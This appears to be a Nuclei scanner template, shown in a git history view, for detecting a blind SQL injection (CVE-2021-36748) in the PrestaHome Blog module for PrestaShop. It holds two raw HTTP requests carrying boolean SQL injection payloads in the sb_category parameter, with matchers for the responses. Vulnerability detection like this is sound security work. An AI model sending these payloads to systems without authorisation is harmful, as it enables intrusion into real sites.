nuclei-templates/http/cves/2021/CVE-2021-36748.yaml

49 lines
1.7 KiB
YAML
Raw Normal View History

id: CVE-2021-36748
info:
name: PrestaHome Blog for PrestaShop <1.7.8 - SQL Injection
author: whoever
severity: high
description: PrestaHome Blog for PrestaShop prior to version 1.7.8 is vulnerable to a SQL injection (blind) via the sb_category parameter.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade to PrestaShop version 1.7.8 or later, or apply the provided patch to fix the SQL Injection vulnerability.
reference:
- https://blog.sorcery.ie/posts/ph_simpleblog_sqli/
- https://alysum5.promokit.eu/promokit/documentation/blog/
- https://blog.sorcery.ie
- https://nvd.nist.gov/vuln/detail/CVE-2021-36748
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-36748
cwe-id: CWE-89
2023-10-14 11:27:55 +00:00
epss-score: 0.0061
epss-percentile: 0.76261
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:prestahome:blog:*:*:*:*:*:prestashop:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: prestahome
product: blog
2023-09-06 12:09:01 +00:00
framework: prestashop
2023-07-11 19:49:27 +00:00
tags: cve,cve2021,prestashop,prestahome,sqli,cms
http:
- raw:
- |
GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1
Host: {{Hostname}}
- |
GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code_1 == 200"
- "status_code_2 == 404"
- 'contains(body_1, "prestashop")'
- "contains(tolower(header_2), 'index.php?controller=404')"
- "len(body_2) == 0"
condition: and
# digest: 4a0a0047304502201446244b61f9ff1548374abe9b96be10763bf19b05e77a70f9883436b909859f022100baaca0c21034883bb2bd6a1517fad17fd5f150e13573abdaf2bd48225eeaed7f:922c64590222798bb761d5b6d8e72950